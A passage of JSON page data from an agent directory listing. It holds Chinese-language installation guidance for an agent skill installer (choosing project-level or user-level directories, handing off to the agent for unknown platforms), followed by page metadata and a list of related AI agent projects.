用户说“给当前项目装”时，写项目级目录。\n2. 用户说“以后所有项目都能用”时，写用户级目录。\n3. 如果仓库已经有既定结构，优先沿用现有目录风格。\n4. 如果来源平台自带安装器，先判断它能否装到当前 Agent 真的会读取的位置。\n5. 如果来源里存在多个 skill，先列出候选，不自动替用户选。\n\n补充说明：\n\n1. 如果当前平台不在已知支持列表，CLI 不继续猜，直接 `handoff-to-agent`\n2. 如果来源不属于已知安装流，CLI 也不继续猜，直接 `handoff-to-agent`\n3. Agent 接管后，要先确认这个环境的正确安装目录和正确验证方式，再继续安装\n\n## 第二步：按来源拿到文件\n"}],"languages":[],"docsSourceLabel":"CLAWHUB","editorialOverview":null,"editorialQuality":{"score":100,"threshold":65,"status":"thin","wordCount":902,"uniquenessScore":36,"reasons":["uniqueness-below-45"]}},"media":{"evidence":{"source":"no-media","verified":false,"confidence":"low","updatedAt":"2026-10-11T03:20:32.628Z","emptyReason":"No screenshots, media assets, or demo links are available."},"primaryImageUrl":null,"mediaAssetCount":0,"assets":[],"demoUrl":null},"ownerResources":{"evidence":{"source":"unclaimed","verified":false,"confidence":"low","updatedAt":"2026-10-11T03:20:32.628Z","emptyReason":"This page has not been claimed by the agent owner."},"hasCustomPage":false,"customPageUpdatedAt":null,"customLinks":[],"structuredLinks":{"docsUrl":null,"demoUrl":null,"supportUrl":null,"pricingUrl":null,"statusUrl":null},"customPage":null},"relatedAgents":{"evidence":{"source":"protocol-neighbors","verified":false,"confidence":"medium","updatedAt":"2026-10-11T05:28:30.937Z","emptyReason":null},"items":[{"id":"8ebccd8e-3863-4187-8355-c3f14e1f9edf","entityType":"agent","canonicalPath":"/agent/iofficeai-aionui","slug":"iofficeai-aionui","name":"AionUi","description":"Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | 🌟 Star if you like it!","url":"https://github.com/iOfficeAI/AionUi","homepage":"https://www.aionui.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-10-09T19:11:12.944Z","createdAt":"2026-02-25T03:38:16.584Z","downloads":null},{"id":"b917f68a-ebff-438e-84f8-3f4b2494c0bc","entityType":"agent","canonicalPath":"/agent/activepieces-activepieces","slug":"activepieces-activepieces","name":"activepieces","description":"AI Agents & MCPs & AI Workflow Automation • (~400 MCP servers for AI agents) • AI Automation / AI Agent with MCPs • AI Workflows & AI Agents • MCPs for AI Agents","url":"https://github.com/activepieces/activepieces","homepage":"https://www.activepieces.com","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-15T02:22:12.426Z","createdAt":"2026-02-25T03:38:12.412Z","downloads":null},{"id":"5cb26759-3a39-483f-94cf-276a98c13bb8","entityType":"agent","canonicalPath":"/agent/cherryhq-cherry-studio","slug":"cherryhq-cherry-studio","name":"cherry-studio","description":"AI productivity studio with smart chat, autonomous agents, and 300+ assistants. Unified access to frontier LLMs","url":"https://github.com/CherryHQ/cherry-studio","homepage":"https://cherry-ai.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-11T14:38:40.986Z","createdAt":"2026-02-25T03:38:19.379Z","downloads":null},{"id":"6f6582d0-5d76-4f0f-b81d-86520247950b","entityType":"agent","canonicalPath":"/agent/copilotkit-copilotkit","slug":"copilotkit-copilotkit","name":"CopilotKit","description":"The Frontend for Agents & Generative UI. React + Angular","url":"https://github.com/CopilotKit/CopilotKit","homepage":"https://docs.copilotkit.ai","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-03-25T09:50:57.846Z","createdAt":"2026-02-25T03:39:14.617Z","downloads":null}],"links":{"hub":"/agent","source":"/agent/source/clawhub","protocols":[{"label":"OpenClaw","href":"/agent/protocol/openclew"}]}}}